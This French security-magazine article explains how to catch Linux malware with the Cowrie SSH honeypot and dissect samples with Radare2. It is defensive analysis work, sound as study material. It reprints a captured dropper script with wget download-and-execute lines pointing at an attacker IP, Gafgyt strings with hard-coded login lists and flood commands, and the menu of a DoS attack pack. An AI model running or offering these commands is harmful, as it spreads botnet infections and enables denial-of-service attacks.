Chasse aux malwares sous GNU/Linux

Magazine
Marque
MISC
Numéro
83
Mois de parution
janvier 2016
Spécialité(s)


Résumé

Lorsqu’on évoque les malwares, on parle souvent de la manière de les supprimer, de celle de s'en prémunir, des techniques pour assurer la désinfection des systèmes. Mais si on veut en analyser, la question fondamentale est de savoir comment en trouver, surtout lorsqu'on travaille sous GNU/Linux.


Body

 

1. Les honeypots

Une des techniques de découverte de codes malveillants les plus intéressantes est l'utilisation des honeypots, ou pots de miel en français. Les honeypots [1] sont des logiciels servant de leurre afin d’appâter des attaquants qu'ils soient des humains ou des bots, dans un environnement cloisonné.

Cette technique va nous permettre d’observer une attaque, de recueillir des traces et surtout des échantillons, afin de comprendre comment un pirate agit et quel est son but.

Il existe trois types d’honeypots :

- À faible interaction : ce sont les plus simples à utiliser. Ils visent à émuler un ou plusieurs services. On peut évoquer des projets comme dionaea [2]et honeyd [3].

- À haute interaction :  dans ce cas, le service ne sera plus émulé. On peut, par exemple, utiliser une VM équipée d’un vrai serveur SSH, très mal configuré, avec un mot de passe root faible, et puis attendre... Évidemment, il faudra bien faire attention au cloisonnement de cette VM pour éviter tout dégât collatéral sur votre environnement de travail : que la machine serve de relais, par exemple, pour d’autres attaques en interne ou externe, comme des attaques de type DDoS. Pour consulter les logs une fois la machine piratée, un outil d’administration système bien pratique est sysdig [4].

- À interaction moyenne :  c'est un compromis entre les deux types précédents. Il sera fondé sur la mise en œuvre de vrais-faux services dans une prison virtuelle, via un jail ou chroot. Comme pour le type précédent, il faudra s’assurer que la sécurité de la machine hôte soit parfaitement opérante. Pour émuler un service SSH, on se tournera vers des logiciels comme Kojoney [5], Kippo [6] et le petit nouveau Cowrie [7] un fork de Kippo.

2. Cowrie

Étant le plus récent (Kippo n’est plus maintenu depuis 2010 et Kojoney depuis 2006), je me suis penché sur Cowrie dont une version alpha est sortie en août 2015. Elle est parfaitement fonctionnelle et corrige en outre certains défauts de Kippo. Je citerais deux  exemples : le fait que  sous Kippo une simple commande echo -n test affichera -n test ce qui permettra à l’attaquant de détecter la présence du honeypot. De même, un ping 999.999.999.999 répondra... Sans compter que des scripts Metasploit [8][9]ont été écrits pour automatiser ce genre de détection.

Passons à l'installation : côté matériel, un simple Raspberry Pi conviendra très bien, peu de ressources étant nécessaires. Il faudra seulement installer une base de données MySQL et un serveur Web Apache, lighttpd ou Nginx, selon sa préférence.

Cowrie s'installe depuis son dépôt GitHub. Sa configuration repose sur le fichier cowrie.cfg. Il est possible de choisir différentes options, comme le port d’écoute, le hostname, déterminer les identifiants de connexion à la base de données, etc. La liste des couples login/password que l'on souhaite autoriser ou activer, est stockée dans le fichier data/userdb.txt.

Son lancement est simple et s’effectue avec une simple exécution d’un script start.sh. Ne pas oublier cependant au préalable d’activer une règle iptables pour forwarder le trafic sur le port 22 (Cowrie écoute par défaut sur le port 2222). Les attaquants ne prenant que rarement le temps de scanner tous les ports pour trouver un serveur SSH, laisser la configuration par défaut nous expose à ne pas voir passer grand-chose. Il est donc préférable de se mettre en écoute sur le port standard, et aussi d’activer la redirection de port depuis votre routeur Internet. On évitera également de lancer Cowrie en tant que root, celui-ci pouvant être victime, comme tout logiciel, de failles de sécurité.

# Commande iptables pour rediriger le trafic du port 22 sur le port d'écoute de Cowrie (à lancer en root).

iptables -t nat -A PREROUTING -p tcp --dport 22 -j REDIRECT --to-port 2222

Évidemment, un environnement simulé ne possède pas toutes les fonctionnalités d'un vrai système d'exploitation ; seules quelques commandes shell, parmi les plus courantes, sont présentes. Il suffira de taper « env » pour avoir un « command not found » en retour et ainsi détecter la présence de notre honeypot.

Cependant, il est possible d'ajouter à la liste des commandes de base, des commandes simples dans un fichier texte qui sera inclus dans le dossier txtcmd. Il suffira alors d'écrire ce que l'on veut que la commande renvoie pour donner à l’attaquant l’impression qu’il dialogue avec un vrai service.  

Pour des commandes plus complexes, il est possible d'utiliser des scripts Python dans le dossier cowrie/commands.

Les logs sont au format JSON et texte brut dans les fichiers log/cowrie.json et log/cowrie.log, puis dans la base de données MySQL si celle-ci est activée. Une interface Web très complète a déjà été développée, kippo-graph [10], avec de jolies statistiques sur les attaques par pays, IP et la possibilité de rejouer les attaques via playlog. Facile à installer, c'est une simple archive tgz contenant notamment un fichier de configuration config.php dans lequel il faut entrer les identifiants de la base de données.

Et voilà ! Il ne reste plus qu’à attendre que le poisson morde à l'hameçon.

Et cela arrive assez vite : au bout de quelques heures, on peut déjà constater les premières attaques. La plupart  se résument à des tentatives de bruteforce SSH, ou quand il y a une connexion réussie, à des passages de simples commandes shell. Mais parfois un bot ou un humain passe par là et lance des commandes plus intéressantes.

Pour visualiser les logs sans se casser la tête, Kippo-graph génère des jolis diagrammes. Ne pas oublier pour l'utiliser de mettre les droits d'écriture sur le dossier kippo-graph/generated-graphs, car c'est à cet emplacement que le logiciel va y écrire les images des diagrammes.

Les figures suivantes donnent quelques exemples des statistiques sur une période d'analyse d'environ deux mois.

Fig1

Figure 1 : Activités humaines.

La partie la plus intéressante de ces graphes, ce sont les fichiers téléchargés sur la figure 2, pas loin d'une trentaine durant la période d'analyse. Ce sont très souvent des scripts shell servant à automatiser le téléchargement d'autres binaires, ou alors des bot IRC codés en Perl ou Python qui infecteront le serveur.

Fig2

Figure 2 : Téléchargements.

3. Radare2

Analysons la première avec Radare2 [11].

Initialement, Radare était un éditeur hexadécimal ; puis à force de rajouter de nouvelles fonctionnalités,  il est devenu un framework de reverse engineering open source complet, supportant un nombre imposant d'architectures (x86, ARM, PowerPC…) et de formats de fichiers exécutables (PE, ELF, COFF, DEX...). Il peut être considéré comme une alternative à des solutions comme gdb et même IDA. La liste de toutes ses fonctionnalités est trop longue pour être énumérée ici, il peut même être utilisé pour le développement d'exploits (recherche de chaînes ROP), ou la construction de shellcode, tout comme Metasploit.

Voici quelques commandes utiles :

Analyse statique

r2 -w ${binaire}

Ouvre le binaire en écriture

?

Pour l'aide

aaa

Analyse le binaire

af

Analyse les fonctions

afl

Affiche les fonctions

afi

Affiche les informations sur la fonction

afn

Renomme une fonction

axt

Retourne les cross references depuis

axf

Retourne les cross references vers

iI

Informations sur le fichier

izz

Affiche les chaînes de caractères contenues dans tout le binaire

ie

Affiche le point d'entrée

pdf @ ${fonction}

Affiche le code de la fonction

ps @ ${offset}

Affiche la chaîne de caractères

fs

Affiche le nombre de chaînes de caractères, symboles et de sections

s ${adresse}

Se positionner sur une adresse

V

Vue graphique

Analyse dynamique

r2 -d ${binaire}

Ouvre le binaire pour une analyse dynamique

ds

Step in

dso

Step out

dss

Outrepasse l'instruction

dr ${register}=xx

Modifie la valeur d'un registre

db ${adresse}

Pose un point d'arrêt

dbt

Affiche la backtrace

4. Analyse d'attaque

Sur la figure 2 (attaque numéro 27), on peut voir que l'attaquant a téléchargé un script shell  via la commande wget. Cowrie l’a sauvegardé automatiquement pour nous dans le dossier dl.

#!/bin/bash
rm -rf 1 2 3 4 5 6 7 8 9 10 11 12
cd /tmp && wget -q http://192.3.207.242/1 && chmod +x 1 && ./1
...
cd /tmp && wget -q http://192.3.207.242/8 && chmod +x 8 && ./8
..
rm -rf *
busybox wget -q http://192.3.207.242/1; cp /bin/busybox ./; cat 1 > busybox; rm 1; cp busybox 1; rm busybox; ./1
...
busybox wget -q http://192.3.207.242/8; cp /bin/busybox ./; cat 8 > busybox; rm 8; cp busybox 8; rm busybox; ./8
rm -rf *

Comme nous pouvons le voir sur la capture, notre script shell télécharge douze binaires dans /tmp (j'ai volontairement supprimé plusieurs lignes par souci de place), leur attribue les droits d'exécution puis les exécute à la suite.

Ces derniers binaires n'ayant pas été téléchargés automatiquement par Cowrie, il faut le faire manuellement pour les analyser ensuite.

Il s'agit d'exécutables au format ELF compilés chacun pour une architecture spécifique (x86, amd64, ARM, ia64...). Une recherche à partir de leur hash MD5 sur VirusTotal, une règle YARA ou un scan avec ClamAV  va nous permettre d'identifier à quel type de malwares nous avons affaire. Il s'agit d'un exemplaire de code malveillant bien connu, Linux/Bash0day ou Linux.Gafgyt.

Nous allons nous pencher sur le binaire 8 (MD5 : ca2fa3de6da0dfe579410f76cad26fcc) compilé pour l'architecture x86. La commande rabin2 nous permet d'afficher quelques informations le concernant ainsi que le point d'entrée.

futex@Ares  /tmp/dl  rabin2 -I 8
Warning: Cannot initialize dynamic section
pic false
canary false
nx true
crypto false
va true
bintype elf
class ELF32
lang c
arch x86
bits 32
machine Intel 80386
os linux
subsys linux
endian little
stripped false
static true
linenum true
lsyms true
relocs true
rpath NONE
binsz 161945
 futex@Ares  /tmp/dl  rabin2 -e 8
Warning: Cannot initialize dynamic section
[Entrypoints]
vaddr=0x08048164 paddr=0x00000164 baddr=0x08048000 laddr=0x00000000

1 entrypoints

Le binaire est lié statiquement, ce qui explique sa taille (160Ko) et n'est même pas strippé.

Jetons un œil du côté des chaînes de caractères présentes. Cela peut nous donner quelques indications sur son comportement.

futex@Ares  /tmp/dl  rabin2 -z 8
Warning: Cannot initialize dynamic section
vaddr=0x0805d120 paddr=0x00015120 ordinal=000 sz=19 len=18 section=.rodata type=ascii string=192.3.207.242:7632
vaddr=0x0805d133 paddr=0x00015133 ordinal=001 sz=5 len=4 section=.rodata type=ascii string=root
vaddr=0x0805d13b paddr=0x0001513b ordinal=002 sz=6 len=5 section=.rodata type=ascii string=admin
vaddr=0x0805d142 paddr=0x00015142 ordinal=003 sz=9 len=8 section=.rodata type=ascii string=operator
vaddr=0x0805d14c paddr=0x0001514c ordinal=004 sz=5 len=4 section=.rodata type=ascii string=test
vaddr=0x0805d165 paddr=0x00015165 ordinal=007 sz=6 len=5 section=.rodata type=ascii string=debug
vaddr=0x0805d16c paddr=0x0001516c ordinal=008 sz=6 len=5 section=.rodata type=ascii string=login
vaddr=0x0805d173 paddr=0x00015173 ordinal=009 sz=6 len=5 section=.rodata type=ascii string=guest
vaddr=0x0805d1a6 paddr=0x000151a6 ordinal=016 sz=7 len=6 section=.rodata type=ascii string=123456
vaddr=0x0805d1ae paddr=0x000151ae ordinal=017 sz=8 len=7 section=.rodata type=ascii string=default
vaddr=0x0805d1b7 paddr=0x000151b7 ordinal=018 sz=5 len=4 section=.rodata type=ascii string=pass
vaddr=0x0805d1bd paddr=0x000151bd ordinal=019 sz=9 len=8 section=.rodata type=ascii string=password
vaddr=0x0805d919 paddr=0x00015919 ordinal=043 sz=6 len=5 section=.rodata type=ascii string=PONG!
vaddr=0x0805d91f paddr=0x0001591f ordinal=044 sz=11 len=10 section=.rodata type=ascii string=GETLOCALIP
vaddr=0x0805d664 paddr=0x00015664 ordinal=034 sz=70 len=69 section=.rodata type=ascii string=cd /tmp; rm -rf bin.sh; wget http://192.3.207.242/bin.sh; sh bin.sh\r\n
vaddr=0x0805d6ac paddr=0x000156ac ordinal=035 sz=50 len=49 section=.rodata type=ascii string=/bin/busybox;echo -e '\147\141\171\146\147\164'\r\n
...

Avec cette vue, nous avons déjà l'adresse IP d'un serveur (192.3.207.242 port : 7632), une liste de ce qui semble être des logins et des mots de passe, des commandes envoyées au botnet, puis une ligne de commandes shell comme lors du premier script, et donc pas même de signes d'un packer. Avec toutes ces informations, nous en savons donc déjà beaucoup sur son comportement !

Une chaîne de caractères intéressante est echo -e '\147\141\171\146\147\164'. Cette commande va aussi servir à notre malware à détecter s’il est exécuté sur un honeypot ou pas. Dans l'exemple ci-dessous, la commande est exécutée dans un shell classique.

futex@Ares  /tmp/dl  echo -e '\147\141\171\146\147\164'
\147\141\171\146\147\164

Puis ensuite, on peut voir le résultat de cette même commande sur le honeypot ou dans une busybox, elle va afficher le nom de la famille du malware.

root@Artemis:~# echo -e '\147\141\171\146\147\164'
gayfgt

Jetons un œil au binaire : pour une analyse statique, il faut l’ouvrir avec la commande r2 ./8 (r2 -d $BINAIRE pour une analyse dynamique). Au lancement, on se trouve dans un shell positionné automatiquement à l'entry point. On rentre aaa pour que Radare effectue une analyse ; fs nous affichera le nombre de chaîne de caractères et de symboles ; afl nous affichera les noms et adresses des fonctions, assez nombreuses dans ce cas précis, car il s'agit d’un binaire statique. Pour obtenir de l’aide sur une commande, il faut la faire suivre d’un point d’interrogation. L’aide sur la commande f sera obtenue en tapant f?.

futex@Ares  /tmp/dl  r2 8
[0x08048164]> aaa
[0x08048164]> fs
0 256 . strings
1 1094 . symbols
2 0 . relocs
3 36 . sections
4 2 . functions
[0x08048164]> ps @str._proc_cpuinfo
/proc/cpuinfo

Parmi les fonctions intéressantes, on trouvera notamment :

getHost .text 08048E33
getOurIP .text 0804D950
getRandomIP .text 08049CB6
getRandomPublicIP .text 080499B5
initConnection .text 0804D81
StartTheLelz .text 08049EF6
processCmd .text 0804CAED

Au départ, dans la fonction main, le programme va appeler la fonction getOurIP, pour faire une connexion vers le serveur DNS de Google 8.8.8.8 port 53 afin de tester la connexion ; puis il va lire le fichier /proc/net/route afin de récupérer l'adresse de la passerelle, et le nom de la première interface réseau affichée.

Ensuite, via un appel à ioctl, il récupérera l'adresse MAC afin d'identifier notre machine, comme montré dans la figure 3, ou l'on peut voir un exemple de graphique sous Radare2.

Plus loin, la fonction StartTheLelz sera appelée : il ouvrira une connexion sur le port 23 (0x17) et chargera la liste des identifiants et mots de passe compilés en dur, puis tentera un attaque par force brute.

Notre malware cherchera donc à avoir un accès à notre routeur, et générera via la fonction getRandomIP et getRandomPublicIP de nouvelles adresses à scanner.

D'autres fonctions comme getBogos et getCores vont lire le fichier /proc/cpuinfo pour voler des informations sur l'architecture de la machine: nombre de cœurs, fréquence du CPU, etc.

Fig3

Figure 3 : Recherche du nom de l'interface réseau.

Ensuite la fonction processCmd dans la figure 4 servira à communiquer avec le c&c.

Fig4

Figure 4 : ProcessCmd

Commandes utilisées par le bot :

PING

Teste la connexion vers le C&C

GETLOCALIP

Recherche l'IP de la machine infectée

SCANNER

Scanne le VLAN à la recherche d'un port 23 ouvert

DNS

Amplification DNS

UDP

Flood UDP

TCP

Flood TCP SYN

JUNK

Génère du trafic réseau

HOLD

Génère du trafic réseau

RANDOM

Génère du trafic réseau

KILLATK

Termine le flood

LOLNOGTFO

Termine le processus

Si vous voulez voir d'autres analyses de malwares Linux, je vous invite à aller sur le site de l'équipe Malware Must Die [12].

5. Beer Persistent Threat

Voici un second exemple collecté par Cowrie. Il s'agit d'une archive tar nommée flood.tar.gz (hash: 847177b71a4db6c071cdc711d0d9ad46) contenant une nouvelle fois un script bash nommé flood (hash: 2266b094df55630e77fa6739a7579683) et une trentaine de binaires dans un dossier bin.

#!/bin/sh
if [ "$1" = "" ]; then
echo ""
echo " flood vBETTA 00.2 : a DoS pack "
echo " by Zorg http://wget.home.ro "
echo " wget*home.ro "
echo " "
echo " usage : $0 <host> <type of attack> "
echo " "
echo " Types of Attacks : "
echo " 1 = ++ATH0 "
echo " 2 = pimp "
echo " 3 = hanson "
echo " 4 = beer "
echo " 5 = trash "
echo " 6 = teardrop "
echo " 7 = winnuke "
echo " 8 = kox "
echo " 9 = ssping "
echo " 10 = land "
echo " 11 = kod "
echo " 12 = fawx "
echo " 13 = bloop "
echo " 14 = echok"
echo " 15 = wingatecrash"
echo " 16 = coke"
echo " 17 = duy"
echo " 18 = Frontpage-Personal Web Server(3.0.2) DoS "
echo " 19 = ruc "
echo " 20 = HiperBomb "
echo " 21 = Inetd DoS "
echo " 22 = OpenTear "
echo " 23 = vadimII "
echo " "
echo " example : $0 linux.com 6 (for a teardrop attack against linux.com)"

Le script prend en paramètre un nom d'hôte/adresse IP et un type d'attaque parmi les 23 au choix lançant chacun un des binaires du dossier bin. Tous exploitent des vieilles failles sur Windows9x et 2000 ainsi que des attaques DoS.  

Au hasard, jetons un œil au binaire bin/beer :

if [ "$2" = 4 ]; then
echo " Beer Attack "
exec bin/beer $1 100
fi

Comme précédemment, affichons les chaînes de caractères contenues dans le malware une fois servi bien frais dans Radare :

[0x080484d0]> iz
vaddr=0x08048740 paddr=0x00000740 ordinal=000 sz=15 len=14 section=.rodata type=ascii string=beer.c by ???\n
vaddr=0x08048760 paddr=0x00000760 ordinal=001 sz=50 len=49 section=.rodata type=ascii string=Edited, and made for use with VT/bx by Cyranix0r\n
vaddr=0x08048792 paddr=0x00000792 ordinal=002 sz=26 len=25 section=.rodata type=ascii string=Usage: %s <host> <times>\n
vaddr=0x080487ac paddr=0x000007ac ordinal=003 sz=18 len=17 section=.rodata type=ascii string=unknown host: %s\n

Ok, c'est donc notre cher Cyranix0r qui doit être un amateur de la Vores Øl, une bière danoise open source [13].

Décapsulons ces fonctions :

[0x080484d0]> afl
0x080484d0 34 1 entry0
0x08048434 6 1 sym.imp.__libc_start_main
0x08048580 89 4 sym.main
0x08048500 70 8 sym.__do_global_dtors_aux
0x08048548 5 1 sym.fini_dummy
0x08048550 29 3 sym.frame_dummy
0x08048404 6 1 sym.imp.__register_frame_info
0x08048570 5 1 sym.init_dummy
0x080486c0 35 3 sym.__do_global_ctors_aux
0x080486e4 5 1 sym.init_dummy_1
0x080485dc 172 3 sym.beer
0x08048454 6 1 sym.imp.gethostbyname
0x08048464 6 1 sym.imp.bzero
0x08048414 6 1 sym.imp.bcopy
0x08048494 6 1 sym.imp.htons
0x080484b4 6 1 sym.imp.socket
0x080484a4 6 1 sym.imp.connect
0x08048444 6 1 sym.imp.printf
0x08048474 6 1 sym.imp.exit
0x080483c4 47 3 sym._init
0x08048688 48 5 sym.alcohol
0x080486ec 26 1 obj._etext
0x08048424 6 1 sym.imp.__deregister_frame_info
0x08048484 6 1 sym.imp.atoi

Deux fonctions, pas de quoi se mettre la pression. Pour faire simple, car ce malware est vraiment bidon, la fonction alcohol, sur la figure 5, appelle la fonction beer en boucle avec le nombre d'itérations passées en paramètre au lancement du binaire, donc 100 dans notre cas.

Et la fonction beer va établir une connexion vers l’hôte distant. On a donc un DoS basique. La famille de ce binaire est connue sous le nom de Linux.Alcohol.a. Ça ne s'invente pas !

Fig5

Figure 5 : Fonction Alcohol

Conclusion

Pendant deux mois d'analyses, j'ai collecté plusieurs binaires, mais ce sont toujours les mêmes familles qui reviennent (Linux/XOR.DDOS, Linux/Billgates, Linux/Tsunami, Bash0day…), avec souvent les mêmes fonctionnalités, DoS, bruteforce d'interface d'administration... Comme dans le cas étudié ici, ils ne sont pas compliqués techniquement, et ne posent pas vraiment de problèmes pour être analysés. Lorsqu’on découvre un binaire compressé avec UPX, c’est vraiment le bout du monde… Cependant, ils restent didactiques pour qui veut se faire la main en reverse d'exécutables Linux.

Remerciements

Je tiens à remercier Matthieu Aubigny pour la relecture, Maxime Morin @Maijin212 pour ses aides sur Radare2, ainsi que Paul Rascagneres @r00tbsd pour tous ses coups de main et conseils.

Références

[1] Le projet Honeynet : https://www.honeynet.org/project

[2] dionaea : http://dionaea.carnivore.it/

[3] honeyd : http://www.honeyd.org/

[4] sysdig : http://www.sysdig.org/

[5] kojoney : http://kojoney.sourceforge.net/

[6] kippo : https://github.com/desaster/kippo

[7] cowrie : https://github.com/micheloosterhof/cowrie

[8] Detecting kippo : http://morris.guru/detecting-kippo-ssh-honeypots/

[9] Script Metasploit : http://www.rapid7.com/db/modules/auxiliary/scanner/ssh/detect_kippo

[10] Kippo-graph : https://bruteforce.gr/kippo-graph

[11] Radare2 radare.org : https://github.com/radare/radare2

[12] http://blog.malwaremustdie.org/

[13] https://fr.wikipedia.org/wiki/Vores_%C3%98l

 



Article rédigé par

Abonnez-vous maintenant

et profitez de tous les contenus en illimité

Je découvre les offres

Déjà abonné ? Connectez-vous